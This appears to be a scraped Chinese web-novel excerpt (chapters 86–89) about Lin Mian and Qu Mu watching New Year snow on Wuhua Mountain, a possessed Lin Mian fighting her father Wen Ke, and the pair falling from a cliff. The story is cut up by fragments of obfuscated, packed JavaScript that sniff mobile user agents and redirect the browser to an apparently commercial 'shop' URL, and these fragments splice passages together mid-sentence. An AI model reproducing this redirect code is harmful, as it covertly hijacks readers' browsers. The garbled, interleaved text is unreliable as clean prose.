l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209211|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且… “这盖山小小一座山,这都出了三个妖物了。”瞿木忍不住吐槽说。 关于这个问题,柳寂白和秦宁都没法解释。就连灵气最充沛的五华山,都没能出这么多妖物,且还都是大妖。 “在一千年前,菌丝化身一名女子,联合当时全国的术士,将无支祁从军山封印至海底。”柳寂白接着说。 林眠有个疑问:“无支祁不本来就是水里面的吗?之前那个大禹把它封印在山里,为什么现在又封印回水里?” “河水和海水是不一样的。”柳寂白摇摇头,“据说,封印无支祁的是一条巨大的锁链,锁链是由银木打造的。” “这个我知道,银木是空心的,里面全是菌丝。”瞿木说,这个他听文老爷子他们说过。 柳寂白点头,“所以那一次为了封印无支祁,菌丝也几乎崩溃,之后一千年,没有踪迹了。” 她把自己知道的说完,这些都是蛇神跟她说的,听着还有些神话色彩,但关于真实性,柳寂白还是很相信的。 她把手一摊,说:“就这些了。至于其他的,蛇神不愿意说,只说让我们柳家别参与。” “说这次无支祁回来,势必要与菌丝一决死战,还有当年那些术士的后代们……”柳寂白抿着唇说,现在谁知道那些术士的后代是谁?这也没记载。 秦宁大概明白了,这和文家说的大差不差,不过文家知道是七百年前的事。 倒也接上了。 “我们来五华山,是收到了况衍君给的纸条,1月1日到五华山。虽不知道是什么意图,但我们还是来了。”秦宁说道。 柳寂白也知道这件事,早早她就收到了传达。 “对了,你们待在梧州,有发生别的事情吗?”柳寂白问。 “有,跟骨妖有关。”秦宁说。 “劳老太?”柳寂白说。 林眠给柳寂白解释了一下关于方艾的事情,以及其中的蹊跷之处。 柳寂白听了,也一头雾水,说:“这实在是奇怪,我也是第一次听说嵌合体,看来这文家知道的还真不少。” “而且按照你们说的,无支祁那边…有文家的叛变者?”柳寂白皱了一下眉,不管是操纵术、还是嵌合体的研究,都是文家那边的。 这个问题,大家都没法回答,就连文家也不清楚。而文家是真不清楚、还是假不清楚,这就不知道了。 瞿木听着他们说,都觉得乱七八糟的,他站起身,说:“算了,我们也不管这些乱七八糟的,等后天看看会出现什么情况吧。” “也是,这里各门派云集,我倒是想看看这无支祁有多厉害。”柳寂白这一次和自家供奉的蛇神交流之后,也对无支祁没那么害怕了。 林眠听完之后,感觉自己和瞿木未免也有些太无辜了,这弄了半天,原来是妖物和妖物之间的斗争。 现在自己身上有菌丝,瞿木身上有银木,两个人是板上钉钉的复仇对象了。 柳寂白坐了会,就要离开了,她还要去找师伯。 山上十分的安静,能听到树枝晃动的声音。 瞿木和林眠捧着热茶,坐在屋子里面看外面的雪景,享受这宁静的时刻。 86. 赏雪 在五华山的这两天,林眠还是很忙碌的。她除了和瞿木一起练习如何更好的使用菌丝,其他时间都被各大门派拉着展示菌丝。 到了12月31号晚上睡觉前,林眠就睡不太着了。 也不知道什么原因,她很少失眠。 林眠在床上翻滚了很久,都没睡着。 “叩叩” 响起一阵敲门声,力度不大,轻轻的。 林眠一听就知道是瞿木,便猛地从床上爬起,走去开门。 “你也睡不着吗?”林眠问他。 瞿木站在门口,见门真的开了,还有些尴尬地挠了挠头,说:“有点,也不知道怎么回事。” “出去看雪不?现在下的好大。”瞿木指了指外面,五华山的雪景是真好看,他在房间里看了会,也不知道林眠睡着了没,就试着过来敲了一下门。 “好。”林眠看了眼自己房间的窗户,她将窗帘拉的严严实实,自然看不到外面的景色。 林眠拿了件外套披在身上,就和瞿木一起到客厅处。 客厅处有一扇超级大的窗户,能一览无遗外面的景色。 “下的真大啊。”林眠裹紧了衣服,看着外面的雪,积了厚厚一层,感觉雪堆的已经比门槛高了。 “还不到12点,可以一起跨年了。”瞿木在旁边说。 “可是距离过年还有一个多月呢。”林眠看向瞿木说,“虽然还没到过年,但这应该是我第一次在盖山村外过年。” “元旦也是跨年嘛,不是非得春节。”瞿木说道,“换个地方过年也很有趣啊,现在都流行旅游过年。” 林眠点点头,她也觉得在外面很有意思。 “瞿木。”林眠看着外面的雪,喊了一声瞿木。 “嗯?”瞿木回应了一声。 “你真好。”林眠脑子里闪过很多她和瞿木刚刚认识的画面,不知不觉,都过去大半年了。 瞿木侧过头,看一眼林眠,她很认真地看着外面的景色,睫毛一颤一颤的。 “我当然好,这天底下你还能找出第二个比我好的?”瞿木说到这儿,还暗戳戳地提起那个网友的事情,“你那个网友比我好吗?” “那肯定没有你好。”林眠还是很分得清的。她最近都没有上游戏了,感觉没什么好玩的了,而且每次上号,对方也不在线,她一个人也刷不过本。 瞿木见林眠这个样子,就觉得好笑,打趣她说:“你把你们怎么认识的说给我听听呗?” “为什么?”林眠问,这有什么好说的。 “好奇嘛。”瞿木其实就是想知道,这到底是何方神圣。 林眠歪着头想了一下,说:“其实没什么,我当时刚到北城嘛,为了方便,就去买了一部手机。” “那不是我第一次接触手机。”林眠突然把话题打岔到这,看这瞿木说。 瞿木有些懵地点了下头。 “我就不小心下载了一个游戏,然后在游戏里认识的对方。”林眠这里说的有些含糊,是因为她后面意识到,自己的行为有多不妥。 瞿木一听,皱了下眉,“就这?” “你不得说说你是如何…”瞿木卡顿了一下,换了个更委婉一些的词,“是怎么对他有一点点点好感的?” 他将拇指与食指并拢,比划了一下,他只能允许有一点点点的好感。 林眠想了想,“最开始,我只是想让他帮忙,因为他也在北城。” “什么?他还在北城?”瞿木瞪大了双眼,这之前也没说啊。 林眠点点头,“我就想让他帮忙,找找瞿家嘛,可是对方好像把我当成骗子了。” 这也是她后面才理解到对方的意思,回想起来还有些尴尬。 瞿木都无奈了,这确实是像林眠能干出来的事。哪有人在游戏里找个素未谋面的人帮忙找人?要也是找警察啊。 “之后呢?”瞿木问,也不能就这样就对对方有好感了吧? 林眠回想了一下,“之后我们就一起玩游戏呀。” 瞿木:…… “没了?”瞿木问。 “没了。”林眠很真诚地说,“我现在也不喜欢他了,当时我在北城没人和我玩,只有他和我玩。” “你在游戏里,想找人玩不是随便都是?”瞿木反驳道。 林眠想了想,选择了转移话题,说:“几点了?” 瞿木看了下时间,说:“11点58分了。” “还有两分钟就跨年了。” “嗯。”林眠在手上哈了哈气,这里可真冷啊。她喜欢温暖、潮湿的地方,就像盖山村一样,冬天会下雪,但都下的不大。 看着外面的雪景,林眠感觉到困意上来了,头靠在瞿木的肩膀上。 瞿木低下眼眸,看了眼林眠,把身上的毯子给她盖上,嘴里轻声念着:“10、9、8、7、6、5、4、3、2、1。” “新年快乐,瞿木。”林眠听着瞿木的倒数结束后,对他说。 “嗯,新年快乐。”瞿木看着外面的雪景,今年一定是个吉祥年。 林眠在说完这句话后,就睡着了。 瞿木不知道,见林眠迟迟不说话,低下头一看,人已经睡觉了。 “这……”瞿木看了看外面,又看着靠在自己肩膀上睡觉的林眠,这…晚上在这睡觉会着凉的! 犹豫了几秒,瞿木还是试着把林眠抱起来。 林眠很轻,他抱起来毫不费劲,但从客厅到房间这几步路,他还是走的很小心、很漫长,但又想着不要那么快。 说实话,他和林眠之间亲密接触其实很多。自从离开北城后,一路向南到盖山,再到梧州,中间…肢体接触也不少。 但今晚,他的心一上一下的,比以往跳的更加快了。 瞿木把林眠放到床上,给她盖好被子。他没有立刻离开,而是站在原地停留了一会儿,之后才转身准备离开。 他一转身,就和床头柜处的人偶面对面,眼对眼。 瞿木顿时感觉身体僵硬,一股寒意从脚底升起。 “嘻嘻嘻嘻嘻嘻~” 耳边响起嬉笑声,就像是他以前看鬼片的时候一样,和电影里的配音有七八分相似度。他脑海里闪过这个念头,下一秒意识消失,眼前一黑。 1月1日,雪停,天晴。 林眠睡了个好觉,起床眯着眼伸了个大懒腰,她刚把腿伸直,就感觉踢到了什么。她睁开眼看去,发现瞿木就这么直愣愣地躺在自己的床上。 “怎…怎么回事?”林眠先是愣了几秒,随后反应过来,脸上有些发红了。瞿木…怎么在自己的床上? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222862|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先是思考了很多种可能性,最后还是轻手轻脚地爬下床,走到床尾处,推了推瞿木,试图叫醒他。 “瞿木?瞿木?醒醒。” 瞿木被叫醒,一只手遮挡着外面的光线,半眯着睁开眼,和林眠担忧的眼神对上。他刚刚还在做梦,一个难以言说的梦。 在睁开眼看到林眠的那一刻,他的脑袋宕机了。 “你醒了?”林眠见瞿木睁开眼不说话,伸出手在他面前晃晃。 “我…你…”瞿木结巴着说。他的脑袋已经清醒了,也清晰地意识到自己在林眠的床上,就连鼻尖都能嗅到林眠身上的味道。 林眠见他清醒了,抿着唇问他:“你怎么到我的房间睡了?” 问完,她也不是很好意思。昨晚她记得在看雪,然后她就睡着了,加上她睡觉一直很死,睡着之后,就什么也不知道了。 瞿木深呼吸一口气,正准备开口解释的时候,门被推开了。 “林小姐,你看到……”秦宁本来想敲门,但这门是半开着的,他头一探过来,就看到房间里面的林眠和瞿木。 且瞿木裹着被子在床上,林眠坐在毛毯上。 秦宁愣了几秒,随后退出去,把门关上了。 “不…不是。”瞿木舔了舔干燥的嘴唇,这误会不就大了吗? 大约过了几秒,秦宁的声音才传来。 “我先在客厅等你们。” 之后就是长达十几秒的沉默。 还是林眠率先开口问:“你…” 瞿木看向林眠,想要解释的话就在口边。这该怎么说呢?昨晚他…… “我还是先起来吧。”瞿木连忙从床上爬下来,穿上鞋,和林眠保持一米的距离。他没敢和林眠对视,那双眼睛太清澈了,看得他觉得自己像个大恶人。 “嗯?”林眠歪着头看着瞿木。 瞿木侧头看到床头柜的那个人偶,回想起昨晚的事情,以及…他昨晚还做了一个很可耻的梦。 该不会是这个人偶干的吧?瞿木心底产生了一个猜测。 林眠见瞿木不说,索性站起来,说:“我先去洗漱了。” “嗯。”瞿木看着林眠离开后,才用力地抓了几把头发,跑到人偶面前,问它:“是不是你干的?” 昨晚他送林眠回来,转身跟这个人偶对视上了,之后就…不知道是该说昏了过去,还是睡了过去。 人偶自然没有回应,瞿木也没有办法。他脑子里还在不断浮现昨晚做梦的香艳场面,让他的眉心一颤一颤的。 他灰溜溜的出了林眠的房门,和客厅的秦宁对视上,再灰溜溜的回自己的房间。 林眠洗漱出来,没看到瞿木在自己的房间里就知道他出去了。她拍拍自己的脸,让自己别想太多,才走到客厅处。 “秦大师,今天有发生什么事吗?”林眠问,毕竟今天已经是1月1日了。 秦宁摇摇头,“我今天早早起来,去外面转了一圈,和往常一样。” “不过,等会儿五华山的人会多起来,山脚下的村庄都会在这一天上山祈福。”秦宁说道,也是怕这其中有变故。 林眠点点头。 瞿木洗漱完,换了身衣服,打开房门,探出个脑袋看着林眠和秦宁。他和林眠解释一下就好了,秦宁在这里他怎么开口啊? 87. 祈福 瞿木还是走到客厅处,并坐在了秦宁的旁边,没有挑林眠旁边的位置。 林眠也注意到了,瞿木以前都坐在自己的旁边,今天换了个位置,是因为昨晚的事情吗?她还一头雾水。 “今天大家还是小心一点,我也和五华山的人都说了,大家都会多注意一些。如果看到况衍君了,要及时通知。”秦宁说着,从口袋里拿出两张符咒,分别交给瞿木和林眠,并说:“这个符咒是我特制的,出事了我这边能第一时间感知到。” 林眠接过符咒,点点头,就把符咒折好,收好。 瞿木就随手塞进口袋里。 “我没事就先出去了。”秦宁说完,就站起身,往门外走。 客厅处就只留下瞿木和林眠。 林眠给瞿木倒了杯热水,也没说话。 “昨晚…”瞿木思索着怎么解释比较好一些,他端起茶杯,“你睡着了,我就把你送回房间。” “你为什么不把我叫醒?”林眠直接问他。 昨晚她记得自己是在客厅处睡着的,瞿木把自己叫醒,然后回房间睡就好了。而且,自己都睡着了,他怎么把自己送回房间的? 林眠一下子就想到了,抱是最方便的。 就在她脑袋里想些乱七八糟的时候,瞿木开口解释说:“我这不是觉得把你叫醒不好嘛,就…抱着你…回房间了。” 他其实是有点私心,但…没有非分之想。 也不能说完全没有。 林眠看着瞿木眨眨眼,还真是抱着啊,但她一点印象都没有了。 “咳咳。”瞿木清咳了一声,想把这个话题跳过,接着说:“把你送回房间,我和人偶对视之后,就晕过去了。” “人偶?”林眠皱了下眉,这怎么还和人偶扯上关系了? 瞿木怕她不信,连忙举起手发誓说:“真的,肯定是人偶,我当时一转身就和人偶对视上了,然后两眼一黑,我就什么也不知道了。” “可是你是在床尾啊,人偶是在床头的柜子处。”林眠认真地思考起这个问题来。 瞿木语塞,他怎么知道他为什么会睡到床尾处?明明他睡姿很好的啊,可以保持不动如山! 林眠自然也不会质疑瞿木的话,问完问题后,她就拍了拍瞿木,说:“没事了,不就是睡一觉而已嘛。” 瞿木:…什么叫做睡一觉,他们什么也没干啊! “我们也出去祈福吧。”林眠起身说道,她拉开窗帘看着屋外,外面的山道上有好几个爷爷奶奶,正成群结队的往山上走。 瞿木见林眠不是很在意这件事,心里顿时有种说不出来的感觉。但他也不扫林眠的兴,起身说:“走吧,我去收拾一下。” 上山肯定要准备一些食物、水之类的。虽然这里是在半山腰,但现在天气冷,还是要准备一下。 等瞿木收好,背着一个大包和林眠一起出门。 他们就住在半山腰,上山只需要一个小时多就上去了。 这个时候,山上人不少,光秃秃的树上挂了不少红色丝带,上面写着祝福语。 林眠看了几个,也要写一条挂上去。 瞿木去跟一旁的奶奶要了一条红丝带,还借了只笔,拿给林眠,说:“想写什么?” “我想想。”林眠开心地接过红丝带,拿着笔歪歪曲曲地在上面写下一小行字,再回过头问瞿木:“你要写吗?” “当然要写啊,让我看看你的。”瞿木接过林眠手上的红丝带,看着上面那行歪歪斜斜的小字,写着:幸福、开心、平安。 瞿木想了想,拿起笔在旁边补上他和林眠的名字,并说:“这种肯定要把名字写上才行,我帮你写了。” “你没有别的愿望吗?”林眠见他只写名字,问。 瞿木没抬头,说:“你写的这六个字,还不够吗?” 林眠看着自己的名字被瞿木写下,又看着他在两个名字中间画了一个爱心,顿时有种异样的感觉在心里升起。 她的心和瞿木的心重叠在一起了吗? 瞿木画了爱心,有些心虚地站起身来,装作若无其事的样子把红丝带系在树上,拍了拍手说:“好了,保证明年都不会掉!” “嗯嗯。”林眠在旁边猛点头。 做完这个后,两人又在山顶玩了会,才往山下走。 林眠今天很开心,虽然今天按道理是个不寻常的一天,但她还是很开心,走路都一蹦一蹦的。 “你小心点,这里是台阶,还有雪,你也不怕摔了。”瞿木在后面喊林眠,林眠蹦蹦跶跶的下台阶,看的他心慌,生怕这一摔就直接滚下去了。 “不会有事的。”林眠说话时还看了看周围,发现他们这一条路上都没人,只有她和瞿木,就大胆的秀起操作来。 她先是假装脚滑要摔倒,然后看着瞿木紧张的伸出手想要拉自己,她再两只手往后伸,长出菌丝,直接将她架起,在空中转个圈再完美落地。 “你这…”瞿木看的一愣一愣的。 林眠回过头对瞿木说:“厉害吧?这里才摔不到我。” “是是是。”瞿木点头应答,但他自己还是小心谨慎,他可做不到手掌长出银木,然后撑住自己,不过理论上应该可以? 林眠看着瞿木小心翼翼的模样,就忍不住笑,“你好像老奶奶啊。” “我这是小心谨慎,这太滑了。”瞿木说道,这台阶都是积雪,还被人踩实了。上来的时候还好,这下山一不注意就容易滑下去。 林眠挑挑眉,接着蹦蹦跶跶往前走,再时不时停下来等瞿木。 等他们到了半山腰,回到住处,秦宁也刚好回来了。 “没出现异常的情况,也没看到况衍君。”秦宁说道。 “他是不是耍我们啊?”瞿木没好气地说。 林眠端着一杯热水暖手,问:“难道是调虎离山之计?” “不,梧州没出现什么事情,方艾那边也一切正常。”秦宁摇摇头,回答说。他有和文忱说,让文忱那边注意一二。 林眠也没想到别的了。 “算了,别想了,我们哪知道他们那边的想法,反正兵来将挡,水来土挡。我们这里人多,还能干不过他们? “再说了,无支祁真身还是海底里压着呢,就算真的有分身,能干嘛?”瞿木自信满满地说。 秦宁没吭声,他这两天梳理了一下,觉得事情还是不对。无支祁封印早就松动了,要加固封印就得用银木和菌丝的力量,因此无支祁新仇旧恨一起都涌向了林眠和瞿木。 林眠出生的时候就有菌丝,是从她母亲身上寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232994|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生从而转移的;瞿木则是后面在文家老宅处见到了大量的银木,而银木偏偏也选中了瞿木,这未免都太巧合了。 再到况衍君让他们来到五华山,目的不明,且五华山和往常一样,并没有什么新的发现。 中午大家随便凑合吃了一顿,下午林眠被文老爷子叫走了,没让瞿木跟着去,瞿木只好在家里等着了。 他等了一下午,直至天黑了,都没见林眠回来。 就在他按捺不住,准备出门去找林眠的时候,恰好柳寂白和秦宁从外面回来了。 “要死了,今天怎么这么冷啊?”柳寂白开口就是抱怨外面冷,她抖了抖身上的雪,说:“这雪下的也太大了。” “诶,瞿木,你要出去吗?”柳寂白见瞿木穿戴整齐,站在门口。 “你们看到林眠了吗?”瞿木直接问他们。 秦宁愣了一下,说:“林小姐还没回来吗?” “没有。”瞿木说道,“我去文爷爷那边找一下,她今天被文爷爷叫走了。” 瞿木说着,就要往门外冲。 柳寂白连忙拦住他,说:“外面雪下的很大,你现在出去不安全。你给林眠发信息,她没回吗?” “五点的时候她还回了,后面就没消息了”瞿木回答,就是因为这样,他才紧张,加上今天是个特殊日子,他怕出什么事了。 柳寂白看了眼时间,现在不到七点,也就是一个多小时。 “我今天给你们的符咒,她有带在身上吗?”秦宁问。 “有。”秦宁很肯定的回答。 “好。”秦宁点点头,感应了一下,说:“不要太担心,符咒还好好的,说明她人没事。” 瞿木听秦宁这么说,也稍微安定了一下,但还是坚持要出去找林眠,“她不回来,我不放心,消息也不回,我还是去一趟。” 说完,也不管秦宁和柳寂白,直接推开门往外走。 “诶,雪太大了!”柳寂白不是很放心,十分担忧地看着瞿木往外走,问秦宁:“要不要我们一起去吧?” 冬天天黑的早,七点不到天就完全黑了,加上雪下的大,很容易出事。 秦宁也没犹豫,重新拿起衣服,说:“我去,你在这儿守着,说不定林小姐回来了。” “行。”柳寂白也不争着要去,这里还是要有个人守着才行。 她目送秦宁离开,心里还是总有种不好的预感。今天这雪太奇怪了,突然之间下起来,然后越来越大,短短几小时,地上积雪已经很厚了,走路都很艰难。 瞿木已经感觉到了大雪的威力,他一脚下去,就能踩出个深深的印子,发出“吱吱”的踩雪声。 黄色路灯将雪面照的发黄,却一点都不让人感到灯光的温暖。 他走着走着,看着周围漆黑一片,有些恍惚。按道理这一片都是民房,这个点怎么可能没有灯光? 虽然这么想,瞿木还是坚持往前走,他记得文爷爷住的地方就在这附近不远了。 往前走了一段路,瞿木突然停了下来。他抬起头,看着面前飘着的雪花,距离自己大约五米处,有一个人影。 他一眼就认出来那是林眠。 不远处,有一堆木头堆在一起,堆成一个三角形。林眠就坐在上面,一动不动地看着他。 88. 雪地相见 瞿木张了张嘴,突然感觉喉咙发涩,一种难言的心情涌了上来,他艰难地朝着林眠走过去。 林眠就在前面看着他,突然裂开嘴笑了。 就这一瞬间,瞿木感觉脑子“轰”的一声炸了,或许是太冷了,他感觉自己都做不出表情来。 他艰难地开口喊了一声:“林眠。” 而在下一秒,一把像利刃一样的东西朝他刺了过来,速度之快,他根本没法反应,那根尖刺已经到了他的眼珠子前。 突然他眼前一黑,没有想象中的痛感传来,就像是闭上了眼,又突然睁开,而下一秒尖刺再次刺了过来,这次是胸口。 他眼睁睁看着自己的身上长出类似于树木一样的树皮,银色的树皮覆盖住他的身体,抵挡住了菌丝的攻击。 接下来菌丝的攻击都一一被挡住了。 瞿木的意识也逐渐清醒了一下,他看着不远处的“林眠”,也知道了银木在保护自己,让他更加无畏地朝着林眠走去。 现在操控林眠身体的不是林眠,是菌丝。 他得将林眠叫醒。 “林眠”看着瞿木,也停下了攻击,似是嘲笑地看着他。 瞿木艰难地冒着雪走到林眠身边,一垂眸就和她似笑非笑的眼神对上,这让瞿木很不习惯,因为林眠是不会做出这样的表情的。 “林眠。”瞿木喊她。他不知道该怎么做,只能一遍遍的叫林眠名字。 “我不叫林眠。”林眠笑着回应瞿木,说:“今天是一月一日,是个极好的日子,今晚她不会出来了。” “今晚,你愿意和我一起吗。”林眠凑上前,笑吟吟的地看着瞿木。 瞿木看着“林眠”,喉咙发颤地问:“就今天晚上吗?” 他浑身发抖,不知道是因为太冷了还是什么原因,耳朵处嗡嗡作响,但他还是捕抓到了关键词,今晚。 “嗯。” 得到明确的回答,瞿木松了一口气,与“林眠”对视,问她:“你想要我做什么?” 在这雪地上,他不明白菌丝这是想要做什么。 “祂很喜欢你。”林眠开口说道。 “什么?”瞿木听不明白,谁? 还不等瞿木反应过来,他突然发现自己的脚上被缠住了菌丝,下一秒就直接将他的脚一拉,他毫无防备的摔倒在地。 “你体内的东西。”林眠回答说。 还不等瞿木爬起来说话,他就在雪地里被当成雪球一样滚来滚去,耳边还传来林眠清脆的笑声。 对方明显把自己当成玩具一样玩了。 她说的陪她一晚不会就是这样陪吧?瞿木在雪地上被当成陀螺滚来滚去后,意识到这一点,不免有些恼怒,想要起来反抗,但凭他的能力根本打不过。 好在有银木的存在,滚了几次后,他就学会如何用让身体上长出银木,从而抵抗摔倒的疼痛。 瞿木学得很快,好不容易等到“林眠”停下来,他刚挣扎着起身,就听到一个沧桑的声音。 “你果然在这里。” 瞿木循着声音从雪地里抬头看去,不远处出现一个穿着黑衣服,带着斗笠的人,看身形,应该是个男人。 这是谁?来找林眠的?还是找菌丝?瞿木脑袋快速地转动,趴在雪地上看着那个黑衣人。 只见林眠微扬起下巴,不屑地看着那个黑衣男人。 两人没说话,只是互相看着对方,对峙着。 就连趴在雪地里的瞿木都感觉到氛围开始变得焦灼起来了,他默默地缩了一下,经过刚刚的热身,他已经没那么冷了。 “你来的很及时,偏偏挑在今日。”林眠抬起头,对着远处的黑衣男人说话。 瞿木觉得“林眠”这话的意思更像是知道对方会来,且看样子,都做好准备了,难道刚刚是拿自己热身? 他脑子里闪过很多想法,但第一反应还是这是林眠的身体,万一出事了怎么办? “如果可以,我最希望的不是现在。”男人说着话,手掌处突然冒起一团火,他几乎是蜻蜓点水一般,在雪地上健步如飞地朝着林眠跑了过来。 林眠也不甘示弱,身上长出密密麻麻的菌丝,将这黑夜染上一层淡淡的银色光满。 霎时之间,雪白的大地上、漆黑的夜空中,变得明亮,瞿木在这样的场面下,顿时感觉到了刀光剑影。 “这怎么办啊?”瞿木从雪地里爬起来,喃喃自语。他不知道这个黑衣人是什么来历,还是菌丝的仇人寻来了。 他抬起头看着身手矫健的“林眠”,又看向那个黑衣人,凭借他5.1的视力,这个黑衣人看着像个中年人。 这两个人打架就像是武侠剧一样,真的有火花,看得人眼花缭乱。 瞿木站起身来,他有些着急,害怕林眠会受伤,但他这个实力也插不上手,只能在地面上干着急。 他舔了舔嘴唇,舔到了一口雪,才连忙擦了擦脸。 黑衣人看着能力是火焰,他的身上飘着好几丛火焰。而菌丝碰到这些火焰的时候,就散成灰烬,落在雪地上。 即使菌丝看着无穷无尽,但在这火焰面前毫无用处。 而那个黑衣人进攻猛烈,一直追着“林眠”跑,占据了上风。 “无支祁的力量,祂竟然会把这么多的力量分给你?”林眠突然落在地上,捂着胸口说,即使在喘气,但语气还是很高傲。 “因为靠人的力量无法杀了你。”黑衣人回答,下一秒再次出击,被林眠躲开,但躲的已经有些勉强了。 “杀了我?林语枫同意吗?”林眠笑着问他,“这是她生下来的孩子,也是你的孩子,你…” “舍得吗?”林眠歪着头问他,“爸爸。” 瞿木在下面听到这几句话,惊得下巴都快掉了,这个人是文恪?林眠的爸爸? “你别这么叫我!你是什么东西?!”文恪听到这个称呼,肉眼可见的暴躁,就连下手的动作都发狠了几分。 这把瞿木看懵了。他还站在原地,不知道该怎么办好。 “本来就不应该出生,是你,是你为了这具身体,才让她活了下来。如果没有你,我们也不会变成现在这样!” 文恪的话在空旷的雪地处十分的大声。 林眠被他的进攻打得招架不住,这句身体她不是能很好地控制,更加拿不出十足的力量来。 瞿木也顾不得三七二十一,眼见着文恪手上的火焰要烧到林眠身上了,他对着“林眠”喊:“操控我,我可以挡住!” 林眠侧头看向瞿木,眼睛一眯,伸出手朝着瞿木。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244488|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 瞿木看她这个动作,就知道她明白自己的意思了,自己的身体长出菌丝,一下子就被拉到林眠的身前,他往前一挡,文恪的拳头就落在自己的身上。 “噗” 瞿木身体被一拳打的五米开外,即使有银木在保护他,疼痛感确实很强烈的,跟刚刚林眠的菌丝利刃对比,这简直就是一拳致命。 林眠也借瞿木挡住文恪的这个契机,从雪地上一跃而起,长出菌丝去缠绕住文恪。 但文恪实在是太明白她的缺点了,即使有了瞿木这个盾牌,她也招架不住。 文恪看了眼在地上打滚的瞿木,皱了一下眉,说:“你也要助纣为虐吗?” 瞿木痛归痛,但还是很快爬起来,听到文恪的话,他还没来得及反驳,下一秒,林眠直接压在了他的身上。 他又摔进雪堆里。 好在今晚雪大,雪至少有十几厘米厚度,摔下去不怎么疼。 瞿木看着乌漆嘛黑的天空,猛地从雪地上起身,看着林眠踉踉跄跄地站起来。他抬起头看着就在眼前的文恪。 文恪现在和他在文家看到的照片相比,苍老了很多,但还是能认得出来,眉眼之间的英气是一样的。 林眠的父亲要杀了菌丝,甚至不惜牺牲自己的女儿? 就在他短暂的思考时间,文恪已经抬起手,眼神凌厉,那团火焰烧的正旺盛。 “你早就该死了,今天迟到了二十多年。”文恪咬着牙说话,他手上的火焰烧的格外的红,朝着林眠伸去。 “不行!”瞿木眼见着文恪手上的火焰要打到林眠身上了,他身体比嘴巴更快,直接拉过林眠扑了上去。 文恪没想到他的速度这么快,这一拳他用了几乎自己全部的力量,全都落在了瞿木身上。 瞿木背部像是被火烤着一样,这火焰蔓延的很快,他全身上下都长出了银色树皮,将他和林眠包裹着。 同时,他们两个也顺势朝着下坡处滚去。 这里是半山腰,等到瞿木察觉到不妙的时候,已经来不及了。 他和林眠坠崖了!!! 文恪走到悬崖边上紧皱着眉头,他没有想到,银木竟然这么快找到了寄主,且还融合的这么好。 这悬崖虽然陡峭,但对方是菌丝和银木,死肯定不可能死。 菌丝和银木又在一起了,看来无支祁说得没错,想要除掉菌丝,就得先除掉银木。只是他一直以为银木散落在各处,不可能这么短时间内会找到新的宿主寄生。 文恪想着,迈着沉重的步伐离开了。既然已经发现了踪迹,再找人就不难了。 雪地上恢复了平静。 大约过了半个小时,秦宁才走到这儿来。 秦宁看着面前坑坑洼洼的雪地,四处可见的脚印,陷入了沉思。这里距离住处并不算远,且瞿木只比自己早离开那么几分钟,他出门的时候还看到了瞿木的身影,往前走几步就看不见了。 这里不对劲。 秦宁向四周打探,除了地上这些凌乱的脚步,没有发现别的。他深呼吸了一口气,接着往文老爷子的住处走去。 这次走的很顺利,仅仅用了不到十分钟,就到了。 只是文老爷子打开门后,里面还坐着一个人—— 况衍君。 89. 往事一二 秦宁没想到会在这里看到况衍君,整个人顿时警惕了起来。 “放心,他没有恶意。”文老爷子拍了拍秦宁的肩膀,示意他坐下来。 秦宁看了眼文老爷子,又看了眼况衍君,况衍君举起杯子,朝他笑笑。见状,他也只好坐了下来。 “小秦,刚刚你来的时候,发现了什么吗?”文老爷子问秦宁。 秦宁看了眼况衍君,不明白文老爷子为什么突然问自己这个,但还是回答说:“嗯,雪地上都是脚印,而且坑坑洼洼,看样子有人在那打斗过,还没法判断是人还是妖物。” “不过,”秦宁看向文老爷子,看着他脸上淡然的神情,忍不住问:“今天下午您把林小姐叫来,至今她都没有回来。” 瞿木来找林眠的事他没说,只是想试一下文老爷子的口风。 “今天是一月一日,你可能不清楚,一月一日意味着什么。”文老爷子突然提到一月一日这个日期。 “意味着什么?”秦宁不解。 文老爷子看向况衍君,示意让他来说。 况衍君放下茶杯,抬起头对充满敌意的秦宁开口说:“每年的一月一日晚上,是菌丝可以自由控制宿主身体的时间,也是菌丝在人的体内,力量最强大的时候。” “所以?”秦宁不知道这有什么关联。 “有些事情需要做个了结,也为了之后的事情,需要有个契机。” 况衍君说这话说的太谜语人了,秦宁不明白他的意思。 况衍君接着解释:“我们的目标一直都是无支祁,时间已经不多了,祂收集了太多了邪性和妖物,并且吞噬掉,为了增强自己的力量,很快就会从海底出来。 “因此,封印处需要加固。” 